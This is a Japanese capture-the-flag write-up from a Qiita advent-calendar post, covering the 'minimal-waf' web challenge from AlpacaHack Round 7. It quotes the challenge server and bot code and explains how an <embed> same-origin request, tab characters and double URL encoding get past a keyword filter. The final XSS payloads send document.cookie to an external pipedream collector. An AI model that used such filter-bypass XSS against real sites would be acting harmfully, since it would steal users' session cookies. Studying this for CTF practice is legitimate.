0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 4

[web] minimal-waf (AlpacaHack Round 7) writeup

Last updated at Posted at 2024-12-03

  • Source: AlpacaHack Round 7 (web)
  • Author: ark

任意のhtmlを表示することができるが、/script|src|on|html|data|&/は使用できないらしい。

index.js
import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
  <h1>HTML Viewer</h1>
  <form action="/view">
    <p><textarea name="html"></textarea></p>
    <div style="text-align: center">
      <input type="submit" value="Render">
    </div>
  </form>
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);

また、botのAPP_HOSTlocalhostになっている。

bot.js
import puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "localhost"; // Note: This is not `minimal-waf`, but `localhost`!
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

// Flag format
if (!/^Alpaca{\w+}$/.test(FLAG)) {
  console.log("Bad flag");
  process.exit(1);
}

const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url, { timeout: 5_000 });
    await sleep(10_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

ヘッダが特定の値の時だけフィルタを通さないという明らかに怪しい部分がある。なんとかしてbotから"Sec-Fetch-Site" = "same-origin""Sec-Fetch-Dest" != "document"を満たすリクエストを飛ばしたい。

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

同一オリジンからのリクエストであれば"Sec-Fetch-Site" = "same-origin"になるらしいので、<iframe><object>を用いて(これは"Sec-Fetch-Dest" != "document"も満たす)XSSを発火させることができないかと考えたが、src属性またはdata属性が必要になるのでダメだった。

ギブアップ。 (以下、upsolve)

<embed>を使えば属性名に禁止ワードが含まれないので試してみる。
まず、bypassを考えずにpayloadを構築するとこのようになる。

http://localhost:3000/view?html=<embed type="text/html" code="/view?html=<script>fetch(`https://xxxxxxxx.m.pipedream.net?${document.cookie}`)</script>"></embed>

禁止ワードのhtmlsrciptは特殊文字%09(tab文字)でbypassすることができそう。

さらに、勝手にembedタグから出られると困るので、<script><>を二重にURLエンコードして%253c%253eに置換する。
%253cscript%253eがURL内にあると、最初のリクエストを処理するときに%3cscript%3eにデコードされて、これがembedタグのcodeに渡される。そしてembedタグの描画(self-originリクエスト)でもう一度デコードされて、<script>になるはず。

これらを反映させたpayloadはこうなる。

http://localhost:3000/view?html=<embed type="text/ht%09ml" code="/view?ht%09ml=%253cscr%09ipt%253efetch(`https://xxxxxxxx.m.pipedream.net?${document.cookie}`)%253c/scr%09ipt%253e"></embed>

このpayloadをbotに投げるとflagがpipedreamに飛んできた。ホスト名がlocalhostじゃないとダメなことに留意。
Alpaca{WafWafPanic}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?